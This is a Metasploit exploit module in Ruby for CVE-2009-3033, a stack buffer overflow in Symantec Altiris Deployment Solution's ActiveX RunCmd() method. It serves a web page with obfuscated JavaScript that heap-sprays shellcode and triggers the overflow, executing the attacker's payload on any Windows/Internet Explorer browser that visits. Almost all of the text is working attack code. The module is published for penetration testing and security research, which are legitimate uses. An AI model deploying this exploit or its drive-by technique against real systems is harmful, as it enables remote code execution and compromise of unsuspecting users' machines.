metasploit-framework/modules/exploits/windows/browser/symantec_altirisdeployment_...

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Altiris Deployment Solution ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Symantec Altiris Deployment Solution.
When sending an overly long string to RunCmd() method of
AeXNSConsoleUtilities.dll (6.0.0.1426) an attacker may be able to execute arbitrary
code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' =>
[
[ 'CVE', '2009-3033' ],
[ 'BID', '37092' ],
[ 'OSVDB', '60496' ],
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],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'Nov 4 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('Altiris.AeXNSConsoleUtilities.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), 0x0D0D0D0D, 0x40000);
for (index = 0; index < 12260; index++) {
evil_string = evil_string + my_unescape('0x0D0D0D0D');
}
vulnerable.RunCMD(evil_string, '');
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
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print_status("Sending #{self.name}")
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# Transmit the response to the client
send_response_html(cli, content)
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# Handle the payload
handler(cli)
end
end